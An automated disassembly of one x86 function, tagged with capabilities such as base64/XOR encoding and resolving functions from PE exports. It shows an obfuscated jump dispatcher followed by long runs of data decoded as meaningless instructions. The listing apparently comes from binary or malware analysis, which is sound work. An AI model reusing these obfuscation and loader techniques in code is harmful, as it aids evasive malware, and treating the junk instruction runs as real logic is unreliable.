Function at 0x67b7368e
Capabilities:
Encode data using base64
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x1bc
mov dword [ebp - 0x18], 0xc1d80
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0xeab1
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
sub eax, dword [ebp - 0x20]
sbb edx, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
xor eax, 0xe9e86
or eax, dword [ebp - 0x24]
je 0x67b737fe
mov edx, 0xe9e86
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x67b76703
mov eax, dword [ebp - 0x28]
xor eax, 0xc78c7
or eax, dword [ebp - 0x24]
je 0x67b749a1
mov edx, 0xc78c7
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x67b76703
mov eax, dword [ebp - 0x28]
xor eax, 0xb6f3c
or eax, dword [ebp - 0x24]
je 0x67b73ddf
mov edx, 0xb6f3c
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x67b76703
mov eax, dword [ebp - 0x28]
xor eax, 0xb32cf
or eax, dword [ebp - 0x24]
je 0x67b76706
mov edx, 0xb32cf
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x67b76703
mov eax, dword [ebp - 0x28]
xor eax, 0x7cec8
or eax, dword [ebp - 0x24]
je 0x67b74f82
mov edx, 0x7cec8
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x67b76703
mov eax, dword [ebp - 0x28]
xor eax, 0x61296
or eax, dword [ebp - 0x24]
je 0x67b75563
mov edx, 0x61296
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x67b76703
mov eax, dword [ebp - 0x28]
xor eax, 0x5304d
or eax, dword [ebp - 0x24]
je 0x67b76125
mov edx, 0x5304d
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x67b76703
mov eax, dword [ebp - 0x28]
xor eax, 0xfafa
or eax, dword [ebp - 0x24]
je 0x67b743c0
mov eax, dword [ebp - 0x28]
xor eax, 0x38801
or eax, dword [ebp - 0x24]
je 0x67b75b44
jmp 0x67b76703
pop edi
insd dword es:[edi], dx
inc esi
nop
dec ebx
jge 0x67b73842
enter 0x6d07, 0xffffffffffffffe5
std
pop esi
jne 0x67b737b8
rcr byte [ebx - 0x43eaac4d], 1
imul esp, dword [edx - 0x70], 0xac9daf19
invalid
sbb dword [edi + 0x6fddac9d], ebp
push cs
add dword [edi + ebx], eax
xchg ecx, eax
pop edi
pop ebx
les eax, [eax]
int1
mov esi, 0xb699d226
cmc
xor al, 0x5d
into
or byte [esi], 0x66
mov cl, 0xd9
cmp ecx, dword [ecx - 0x3fbbabaf]
dec ebx
pop eax
lcall 0x2b11, 0x345fac25
jnp 0x67b737cb
sub edi, dword [ebx - 0x7a]
mov dword [0xa094fc4c], eax
xor edi, dword [edi - 0x16]
xor byte [ebx + 0x5d], al
fld qword [edi + ebp*4 - 0x2a]
xor al, 0xbc
xchg ecx, eax
jno 0x67b73816
mov esp, 0x39bd7191
push 0x24
cmp dword [edx + 0x24], ebp
fld xword [esi]
adc dword [ebx + 0x7dc5cc90], 0x238d2cb
jae 0x67b73832
jns 0x67b73855
and eax, ebx
xchg ebp, eax
dec eax
mov ebx, eax
sahf
invalid
comiss xmm7, dword [esp + esi*2 - 0x2d]
invalid
jg 0x67b73dab
sbb dword [edi], esp
push esp
out 0x2e, al
push esp
fbstp tbyte [edx - 0x31]
dec edx
insb byte es:[edi], dx
push cs
test dword [eax], edi
mov bl, 0x76
xchg bh, bl
stosb byte es:[edi], al
invalid
jb 0x67b7442d
xchg byte [ebx + 0xb], dh
iretd
scasb al, byte es:[edi]
shl byte [ecx + 0x21], 0xc8
mov ch, 0x27
mov eax, dword [0xc878a6ae]
aad 0xdc
push ebp
nop
mov dword [0xf1bed0f8], eax
push 0xa66949eb
xor al, byte [edi - 0x5f]
stosb byte es:[edi], al
shr byte [edx - 0x55], 1
ror dword [eax - 0x1a], 0x3e
insb byte es:[edi], dx
movsb byte es:[edi], byte [esi]
cmp byte [edx + 0x11], cl
add byte [ecx], cl
ret
aam 0x9c
mul dword [edx + 0x52]
push eax
rcr dword [esp + ecx*8 + 0x4b2f2047], cl
or eax, eax
inc ebp
mov ebp, 0xe2eb4680
invalid
push ecx
pop ss
nop
int3
rcl byte [esi], cl
and ch, byte [edi]
mov bl, 0x7e
mov byte [ecx - 0x5b], dh
sti
adc dh, dh
mov bh, 0x65
xor al, 0x48
push eax
xchg ecx, eax
pop ebp
loope 0x67b74f79
and cl, 0x5f
or byte [edi], bh
push eax
mov fs, edx
xor byte [eax - 0x32e161f4], 0xf4
mov ebp, 0xbb2b62f5
inc ebp
dec ebx
clc
adc eax, 0x5871fd3f
adc eax, 0x829b4478
or cl, byte es:[eax]
push ebx
ret
cld
test byte [edi], ch
xor eax, 0x688c9460
test al, 0x22
daa
pop ecx
sub eax, 0xaaedc979
cmp al, 0x23
dec ebx
sbb al, 0xc2
retf 0x41d0
or dh, ah
dec edi
loop 0x67b75514
rcl dword [edx], 0x5e
dec eax
fild qword [0x768cd767]
cmp eax, ebx
and al, 0xc0
adc esi, ebx
mov bh, 3
mov ebx, 0xb327b562
invalid
outsb dx, byte [esi]
xchg byte [esi - 0x4dcd1cf], bh
xor al, 0x49
lcall 0x4832, 0x431a83d9
mov ebx, 0xdcaebe50
inc edx
sub al, 0x18
mov bh, 0x89
invalid
sbb dword [esi + 0x44], eax
test al, 0x74
pop edi
add eax, 0x1de748eb
sbb dword [edx + edi], 0x34
push esp
pop edi
mov dl, 0x42
xor eax, 0xe306a0a8
push ebp
sahf
insb byte es:[edi], dx
mov dl, byte cs:[edx + 0x6e]
inc esp
fstp qword [edx - 0x17]
mov ch, 0x94
jb 0x67b76175
inc esi
dec esi
sub edx, edi
lodsd eax, dword [esi]
leave
pop esp
xor esi, esp
push cs
cmp byte [eax], ah
cli
xor byte [0xc7d6782f], al
and cl, byte [esi - 0x71c4af40]
salc
sbb dword [ecx - 0x76], eax
mov al, 0xf1
out 0x58, eax
fdiv qword [edi + 0x1ce040e1]
imul esi, eax, 0x33c81ed1
hlt
nop
jmp 0x67b76707
nop
mov eax, dword [ebp + 8]
cdq
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x38], 0xbbf29
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x40], 0xf33be
mov dword [ebp - 0x3c], 0
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x38]
sbb edx, dword [ebp - 0x34]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x48]
xor eax, 0xef57c
or eax, dword [ebp - 0x44]
je 0x67b7c8f7
mov edx, 0xef57c
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0xeeb38
or eax, dword [ebp - 0x44]
je 0x67b7ab92
mov edx, 0xeeb38
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0xe118c
or eax, dword [ebp - 0x44]
je 0x67b7e07b
mov edx, 0xe118c
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0xc4d19
or eax, dword [ebp - 0x44]
je 0x67b7e65c
mov edx, 0xc4d19
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0xbb0ed
or eax, dword [ebp - 0x44]
je 0x67b7940e
mov edx, 0xbb0ed
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0xb149d
or eax, dword [ebp - 0x44]
je 0x67b7ced8
mov edx, 0xb149d
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0xaf8b8
or eax, dword [ebp - 0x44]
je 0x67b7c316
mov edx, 0xaf8b8
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0xacbcd
or eax, dword [ebp - 0x44]
je 0x67b7884c
mov edx, 0xacbcd
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0x99253
or eax, dword [ebp - 0x44]
je 0x67b76ae7
mov edx, 0x99253
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0x971d0
or eax, dword [ebp - 0x44]
je 0x67b77c8a
mov edx, 0x971d0
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0x92dcd
or eax, dword [ebp - 0x44]
je 0x67b7bd35
mov edx, 0x92dcd
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0x91dfa
or eax, dword [ebp - 0x44]
je 0x67b7f21e
mov edx, 0x91dfa
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0x8a4d3
or eax, dword [ebp - 0x44]
je 0x67b7826b
mov edx, 0x8a4d3
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0x7e47c
or eax, dword [ebp - 0x44]
je 0x67b7b173
mov edx, 0x7e47c
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0x75fd6
or eax, dword [ebp - 0x44]
je 0x67b770c8
mov edx, 0x75fd6
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0x71c8d
or eax, dword [ebp - 0x44]
je 0x67b799ef
mov edx, 0x71c8d
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0x642d0
or eax, dword [ebp - 0x44]
je 0x67b776a9
mov edx, 0x642d0
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0x60a44
or eax, dword [ebp - 0x44]
je 0x67b7d4b9
mov edx, 0x60a44
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0x5373d
or eax, dword [ebp - 0x44]
je 0x67b7da9a
mov edx, 0x5373d
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0x4c96a
or eax, dword [ebp - 0x44]
je 0x67b7b754
mov edx, 0x4c96a
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0x37495
or eax, dword [ebp - 0x44]
je 0x67b7f7ff
mov edx, 0x37495
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0xfdb8
or eax, dword [ebp - 0x44]
je 0x67b7ec3d
mov edx, 0xfdb8
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0xbf27
or eax, dword [ebp - 0x44]
je 0x67b7a5b1
mov edx, 0xbf27
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67b7f7fc
mov eax, dword [ebp - 0x48]
xor eax, 0xc77
or eax, dword [ebp - 0x44]
je 0x67b79fd0
mov eax, dword [ebp - 0x48]
xor eax, 0x555f
or eax, dword [ebp - 0x44]
je 0x67b78e2d
jmp 0x67b7f7fc
sbb byte [edi + 0x7632c42b], cl
les eax, [eax - 0x42f860f]
pop es
mov cl, 0xa9
adc cl, bh
add byte [ecx - 0x2f], dh
lea ecx, [0x27bf35a]
dec edi
out 0x37, al
adc esp, ebx
sbb byte [ebx + 0x3550f139], ah
in al, 0x5d
or ch, byte [esi]
lahf
xor edx, esi
and eax, 0x512f0362
pop ds
xor al, 8
mov ebp, 0x27390c8e
or al, byte [esi]
mov ecx, 0x371d623c
sbb ch, byte [eax + ecx*8 + 0x239e5497]
clc
cmp al, 0xe5
not byte [eax + 0x32077404]
nop
scasb al, byte es:[edi]
stosd dword es:[edi], eax
xor al, byte [edi]
mov al, byte [0x4dcf78d6]
or dword [edi - 0x2c], esp
xor ebx, dword [edx - 0x6f07cb1a]
int3
pop edx
fsubrp st(3)
sbb eax, 0xfc2d2089
pushal
sti
aad 0xa8
cwde
mov ah, 0xb3
imul ebx, ebx, 0xc6618df3
mov dh, 0xfe
imul ecx, dword [edx], 0xffffff83
stosd dword es:[edi], eax
invalid
int 0x8f
xor ecx, dword [esi + 0xda3cccd]
invalid
push edi
inc eax
retf 0xf8c
xor eax, 0x12289e98
and esi, dword [esi]
dec ebx
wait
or ah, bh
adc byte [bp + di], al
xchg ecx, eax
cmpsb byte [esi], byte es:[edi]
jae 0x67b775b4
sbb al, 0xfc
fmul st(6), st(0)
add ebp, esi
in al, dx
popal
mov dl, ch
je 0x67b77639
push cs
xor byte [edi + 0x12], ah
jae 0x67b775c8
adc dh, byte [ebx - 0x74]
or eax, 0x2fcc9090
shr dword [ecx], 0x23
adc eax, dword [0xfa995607]
add dword [ecx], ebx
in al, 0xed
in eax, dx
sub dl, byte [edi]
sub al, 0x2b
add edx, dword gs:[eax + esi*8]
pop ss
dec edi
scasd eax, dword es:[edi]
inc eax
idiv byte [eax]
iretd
out dx, al
cdq
aad 0xeb
inc esp
sbb al, 0x70
cmpsb byte [esi], byte es:[edi]
jle 0x67b77698
jle 0x67b77617
push edx
pop ss
hlt
fnstcw word [ebx + 0x5b]
lcall 0xfd05, 0xdfe514f2
nop
int3
jno 0x67b77671
arpl word [ecx + esi*2 - 0x69], di
pushfd
mov ah, 0x50
jb 0x67b7764d
fnstenv [edi + edi]
cmp esp, edx
into
push cs
stosd dword es:[edi], eax
fld st(6)
xchg dword [ecx + 0x3f], esi
jns 0x67b776e6
sbb bl, byte [ecx + edx*4]
mov ah, byte [ebp + 0x17ad4857]
movsd dword es:[edi], dword [esi]
inc ecx
call 0xe6735b40
lahf
mul byte [edi]
xchg ebp, eax
cmp byte [edx - 0x1f], 0xb
mov ecx, ss
mov esp, dword [edi + 0x771befc1]
or eax, 0xea34590
ret 0xdbaa
mov dword [0xdbaac20e], eax
jae 0x67b7771e
jmp 0xeb446451
add eax, 0xf4ad2710
sbb dword [edx], 0xffffff99
pop ds
mov dh, 4
inc edi
clc
push ebx
xchg edx, eax
or dword [edx], edi
or dword [eax + 0x4a], edi
add al, 0x4a
xor dh, byte [edi - 0x41ca4b94]
neg byte [edi + 0x77785278]
pushal
inc eax
fbld tbyte [edx + 0x73fdbc3]
iretd
or dh, bh
mov ah, 0xde
nop
sbb eax, 0x4fbb8287
js 0x67b77d01
inc eax
pop eax
sub ch, byte [ebp - 0x73]
out dx, eax
bnd jo 0x67b77c8a
dec edx
adc dword [ebp + eax*4 - 0x44], esi
lahf
rcr byte [ecx + 0x2b462ce9], 1
inc eax
xchg esp, eax
sub al, 0x46
sub eax, dword [eax - 0x6c]
cdq
in eax, 0x6b
popfd
rol dword [ebx + esi*2 - 0xe], 1
adc byte [0xc3da3bce], bh
test al, 0x2d
pushfd
jae 0x67b77d1c
inc eax
xor ecx, dword [esi]
invalid
movsb byte es:[edi], byte [esi]
add eax, 0x2d086edc
pop ds
test dword [edi], edi
int3
mov byte [edx + 6], bh
cmp ebx, dword [eax - 0x51]
mov esp, 0xf6191727
inc esi
push cs
inc eax
fistp dword [ecx - 0x6d]
pop ecx
xchg ebx, eax
jne 0x67b77cdd
xchg edx, eax
lds ecx, [edx]
mov ebx, 0x8d3965a7
jge 0x67b77ca8
lea edi, [ebp - 0x77]
push esp
lahf
jle 0x67b77d11
in al, dx
add eax, 0xd5d9b1e8
ret 0xed46
add ebp, ecx
mov edx, 0x94121753
xor al, byte [eax + 0x5bbfe345]
xor edi, ebp
add dword [0x118a5840], edi
invalid
lodsd eax, dword [esi]
pop ebp
lahf
into
invalid
xchg ebp, eax
jne 0x67b7826a
add byte [ecx + 8], ch
sti
invalid
imul ecx, dword [eax], 0x430cf0fb
in eax, 0xdb
mov ah, 0x69
jo 0x67b7820b
int1
sbb al, 0x41
jg 0x67b78294
loope 0x67b78220
fidiv dword [edx + ebp*4]
cmp ebp, dword [esi + 0x44446697]
stosd dword es:[edi], eax
push ss
jno 0x67b782b3
test eax, 0x6b696527
push cs
or eax, 0x17467ec2
jle 0x67b782dc
pop ss
mov dl, 0x3c
mov bh, byte [esi]
wait
adc ebx, esp
dec ecx
push 0xfffffffffffffffd
rol byte [eax + 0x6225f5f2], 0x79
cli
xchg ebx, eax
xor al, 0xd2
sbb bh, al
in eax, 0x31
jg 0x67b78255
xor dword [edi - 0x61], edi
xor al, byte [0xfd99d76b]
lodsd eax, dword [esi]
popfd
mov dword [eax - 0x5a80b02d], ebx
loope 0x67b78267
dec esp
mov sp, 0x5c63
popal
nop
int3
xor dword [eax - 0x2a0b7a41], ebp
invalid
adc byte [edx + 0x18], ah
dec ebx
and al, byte [0x233e9f58]
inc ecx
adc edx, dword [ecx + 0x41]
invalid
xchg esi, eax
in al, dx
salc
movsb byte es:[edi], byte [esi]
xchg ebx, eax
dec ebp
or eax, 0x4aa95bb4
in eax, dx
lodsd eax, dword [esi]
not byte [edi + ebp]
daa
dec eax
int 0xe6
invalid
jnp 0x67b79434
fdivr qword [ebx - 0x45ae93dc]
pop es
push ss
pushal
xchg esi, eax
invalid
pop esi
mov al, 0x5d
rol byte [esp + edx*2 - 0x52811175], 1
sub dword [ebp - 0x3e], ebx
fdiv qword [ebx]
fild qword [eax + 0x20]
out 0xf6, al
push edx
dec ebx
and byte [edi], bl
dec ebx
jmp 0xc3cc59a9
int3
jnp 0x67b799bd
fcompi st(5)
daa
pop edx
adc dh, ch
cmpsb byte [esi], byte es:[edi]
dec ebx
inc edi
xchg ecx, eax
aad 0x28
and eax, 0x13d01d60
inc eax
xor esi, dword [edi]
das
daa
push 0x72546d32
push 0x5e
pop ebx
sbb ecx, dword [ecx + 0x719203ef]
lcall 0xd396, 0x94c910c9
xchg edi, eax
mov ebp, 0xc854af35
xchg dl, ch
mov bh, 0xaa
invalid
push cs
test al, 0x8b
ror byte [edi + 0x4319d416], 1
mov bh, ah
add bl, byte [edx]
pop eax
cmc
push ss
xor byte ss:[ebp + 0x59], bh
xor al, 0xb4
inc esi
das
push ss
ret
jl 0x67b79f6b
mov byte [eax], dl
popal
push es
outsb dx, byte [esi]
not dword [edi]
or al, 0xb
movsb byte es:[edi], byte [esi]
call 0xdd28e1a4
jmp 0xa9fec76f
cmp al, 0x2f
mov dh, 0x17
jne 0x67b79ff1
shl dword [eax - 0x7361c485], 0x2a
jae 0x67b79fc3
cmpsd dword [esi], dword es:[edi]
jns 0x67b7a023
inc ebx
push edi
cmp al, 0xd2
jp 0x67b79fcc
sar byte [edx + 6], cl
insb byte es:[edi], dx
jb 0x67b79fbd
nop
int3
xor byte [eax], bl
add byte [ecx - 0x78615fbd], ch
test eax, 0x879ea043
xchg dword [edx + 0x33], edx
movsd dword es:[edi], dword [esi]
dec edi
pop ebp
or byte [ecx + 0x1d], bh
add eax, 0xc17dddcc
pop ds
jl 0x67b79fd4
push edx
xor esp, dword [ebp + 0x79085d4f]
sbb eax, 0x7dddcc05
rcr dword [edi], 0x67
jl 0x67b79fd4
xor byte [esi - 0x19b7b23f], ah
jb 0x67b79f95
nop
das
add dword [edi], esi
aaa
std
sbb al, 0x37
xlatb
lds eax, [ebx + 0x55a7e57b]
add byte [ebx], dl
sbb al, byte [edx + 0x413e40ba]
jl 0x67b79fae
les edi, [ecx - 0x28]
mov al, byte [0x26262e4]
dec esi
sub eax, dword [ebx]
std
pop edx
inc eax
stosb byte es:[edi], al
push es
loopne 0x67b7a03b
mov edx, dword [eax]
movsd dword es:[edi], dword [esi]
dec edx
ror dword [edx + 0x10413c58], 0x67
jns 0x67b7a041
jns 0x67b7a041
sti
mov ah, pe_nt_image_headers32
pop edi
mov ecx, 0x7ada6781
mov dword [0xcc901321], eax
cmpsd dword [esi], dword es:[edi]
and ebp, dword [edx - 0x568562eb]
and dword [ebx], edx
nop
int3
std
mov esi, 0xd43e709d
mov esp, 0x32d4faea
sbb esi, ecx
dec ebx
pop ebx
ja 0x67b7a030
invalid
xchg ebx, eax
lodsb al, byte [esi]
pop es
fbstp tbyte [edx - 0x66]
push ds
push es
pop eax
xchg ebp, eax
into
mov dword [0xf13d9a13], eax
jnp 0x67b7a632
scasd eax, dword es:[edi]
mov bh, 0x19
dec eax
mov ch, byte [esi - 0x79e5c88a]
dec esi
mov cl, 0xc8
leave
mov al, byte [0xdf00017b]
mov ebp, 0x9d33d566
imul edx, dword [esi - 0x3e], 0xffffff9e
cwde
jo 0x67b7a615
popfd
xchg dword [edi - 0x1a], esi
sbb dl, byte [ebx + 0x43]
sbb al, byte [ecx]
sbb eax, 0x8aef842d
sbb byte [eax + ecx - 0x3080a097], bh
jb 0x67b7a654
test al, 0xdc
shl byte [eax + 0x30c4d932], 1
into
add esp, dword [ebx + 0x15]
sbb dword [ecx - 0x34109d4f], ecx
or ebx, ebx
xor byte [esi + ebx*4 - 0x336f412e], ah
dec eax
out 0x27, eax
fidiv word [ebx - 0xb]
cmp byte [edi + 0x6a], bh
mov dword [eax], ebp
jge 0x67b7a615
shr byte [edi], 0x24
fsub qword [edi - 0x7d]
in eax, dx
int3
adc bh, byte [eax - 0x6314a072]
cdq
test eax, 0xc03260cd
adc eax, 0x724b690b
jnp 0x67b7a699
or ebp, dword [ecx + 0x4b]
jb 0x67b7a6bf
push esp
lahf
rol dword [edx - 0x16], cl
mov esi, 0x74413d4
leave
xchg ebp, eax
invalid
jb 0x67b7a681
int 0xd1
xchg esp, eax
seta byte [edi + 0x2f]
lodsb al, byte [esi]
fcmovne st(0), st(3)
ljmp 0xef25
rcr dword [edi + 0x767486cd], cl
retf 0xdb3d
pop es
pop ebp
xchg edi, eax
loopne 0x67b7a63f
int3
push esi
invalid
dec ebx
pop edx
mov ebx, 0xefd959e8
xor ch, al
add al, 0x67
test dword [ebx - 0x47653f7d], ebx
outsb dx, byte [esi]
push ss
aam 0x96
xchg esi, eax
lcall 0xd3af, 0xc373ee58
cmp al, 0xcd
pop ebp
adc dword [edx], edx
and byte [eax], dh
and ecx, esi
xor byte [ebx], ah
into
jp 0x67b7aba9
scasb al, byte es:[edi]
xchg edx, eax
push es
jne 0x67b7abb7
adc al, 0x91
outsb dx, byte [esi]
cmp byte [edx], dl
inc eax
add dword [esi + 0x2b9b1100], ecx
cmp edx, dword [edi - 0x1811037e]
add dword [edx], 0xffffffec
aam 0x12
out dx, al
mov dword [0xc823f713], eax
lea edx, [ebx - 0x20f22d39]
enter 0xffffffffffff84fe, 0xffffffffffffffd6
pop ebx
pop es
wait
insb byte es:[edi], dx
and al, 0x8f
adc ch, byte [edi - 0x3c]
invalid
aad 0xdc
mov byte [edx], ch
cmc
inc edx
jge 0x67b7b177
mov ebp, 0xe9cc90d2
lea eax, [esi]
add bl, ah
in eax, dx
jecxz 0x67b7b162
sahf
and ah, dl
cld
loop 0x67b7b175
cmpsb byte [esi], byte es:[edi]
or al, byte [ecx - 0x29f3de1d]
adc al, 0xa3
adc eax, 0x503b635a
adc al, 0xe0
mov ch, 0xf4
inc edi
sahf
inc edx
fimul word [esi + 0x30]
in al, 0x1f
cdq
aaa
xchg edx, eax
pop edx
invalid
dec edi
xchg byte [edi], bl
adc byte [esi - 0x78], 0x7e
idiv byte [eax - 0x6a]
pop edx
xlatb
stc
sub eax, dword [edi]
and byte [ebx], 0xed
imul ecx, dword [ebx - 0xb], 0xf2219668
cli
ret 0x95cf
push es
sal dword [esp + ecx*8 + 0x47], cl
adc cl, byte gs:[ecx + 0x43e2e49b]
mov byte [0x8ca27f00], al
adc dword [eax + 0x63], ebp
in al, dx
sar byte [edi + edi*4 - 0x590782a9], cl
popfd
cmp edx, esp
test eax, 0xea920c79
invalid
sub al, 0x8b
xchg edx, eax
mov ch, 0x28
add esi, ecx
into
jnp 0x67b7c323
fld xword [edi]
fidivr dword [edi]
aas
je 0x67b7c355
xchg edx, eax
sbb dword [ebx], edx
imul edi, dword [eax + 0x5821163c], 0xf5f400d3
push edx
dec ebp
sub ah, byte [ebp - 0x5033247f]
jle 0x67b7c33b
and eax, 0x47402a27
std
ljmp 0x3fc1
scasd eax, dword es:[edi]
dec ebx
xchg ebp, eax
stosd dword es:[edi], eax
sbb dword [ebp + 0x66], ecx
lea ebp, [esp + edi + 0x12]
add eax, 0xb0894a26
sbb eax, 0x4b81abc4
xchg ecx, eax
fimul word gs:[edi - 0x5a9d913d]
xor esp, dword [edx - 0x336fc019]
invalid
into
popfd
jb 0x67b7c8d3
scasb al, byte es:[edi]
out dx, al
retf
pop ss
sbb ch, byte [eax - 0x12]
or dword [ebp - 0x6e], esi
outsb dx, byte [esi]
mov ebx, 0x12f5c4eb
add al, 0x40
fild dword [eax + ecx*8 - 0x1c]
adc byte [esp + eax*2 + 0x5e88e351], bl
fisub word [eax - 0x14]
nop
int3
and dword [edx - 0x32], edi
ja 0x67b7c8fc
adc al, 0x8f
loop 0x67b7c8ba
sbb eax, 0xd131771c
jp 0x67b7c935
hlt
movsb byte es:[edi], byte [esi]
imul ebp, dword gs:[ecx + ebx*2 - 0x60], 0x3b
jo 0x67b7c99b
dec ecx
out 0x61, eax
invalid
jnp 0x67b7c9dd
fxch st(2)
adc dword [0x5f4b2a9f], esi
xor al, 0xfc
invalid
pop ebp
dec esp
dec esp
inc ebp
mov eax, 0xab70b75
pshufw mm6, qword [esp + ecx*4], 0xdf
and al, 0x7c
mov dh, 0xb8
xchg esi, eax
push eax
ret
in eax, dx
invalid
push ds
mov ebx, 0x389d2b85
and eax, 0xffffff87
jo 0x67b7ceec
mov ebx, 0xf7c1a846
test al, 0x2f
jge 0x67b7ce77
adc dword [eax], ebp
mov al, 0x4a
ljmp 0x9c64
daa
pop edi
aam 0xae
dec edi
and esp, dword [eax - 0x636d2d0]
mov esi, 0x5e266a5f
mov dword [0x9000f3d9], eax
int3
inc edi
jecxz 0x67b7d50b
jecxz 0x67b7d49e
jo 0x67b7d510
xor eax, 0xda55156c
xchg esp, eax
clc
mov bp, 0xbb89
movsb byte es:[edi], byte [esi]
invalid
fist word [eax + 0x18]
fcmovb st(0), st(2)
int3
push esp
scasb al, byte es:[edi]
and eax, 0x8a25a5af
pop es
dec esi
std
and dword [ecx - 0x15eb0aaa], ebx
cdq
or ecx, 0xfb87426f
scasd eax, dword es:[edi]
mov byte [0x7bc582e0], al
pop edi
int1
push ds
sar dword [ebx - 0x250aa2a6], 1
mov word [edx + 0x73], cs
xor esp, edx
xor ah, byte [eax]
xchg ecx, eax
sub dword [esi + ecx - 0x30], ebp
mov ch, 0xf9
inc esi
inc esi
push ds
push edx
sar byte [edx + 0x2e], 2
stc
dec ebx
push eax
mov dword [0x1888d1d7], eax
sti
cld
aas
outsd dx, dword [esi]
mov cl, 0xe5
xchg edi, eax
or al, 0x62
sar byte [edx], cl
cld
ficomp word [edi - 0x1ae32c7d]
int1
wait
push cs
fistp word [ebx + 0x7e]
dec ebx
salc
not byte [edi]
movsb byte es:[edi], byte [esi]
nop
int3
int1
wait
test dword [ebp - 0x3b], ebx
sub eax, 0x618cb66
scasb al, byte es:[edi]
int 0x2c
mov eax, 0x56d8abc7
rcr dword [edx - 0x5f246c70], cl
mov ecx, 0x711d67f3
sub ecx, dword [ecx + 0x4e]
mov cs, word [ebx]
and dword [esi + 0xb], edx
mov ah, 0x96
salc
and al, 0x91
out 0x65, eax
ja 0x67b7e0c8
dec eax
clc
int 0xd7
int3
jae 0x67b7e12f
sahf
jo 0x67b7e10a
jmp 0x67b7e0d7
std
jne 0x67b7e119
jb 0x67b7e086
mov ah, 0x90
int3
in al, dx
pop ebx
insd dword es:[edi], dx
dec esi
fcom qword [esi + 0x26a06cba]
add eax, 0xd57bc2a5
invalid
mov dl, 0x7f
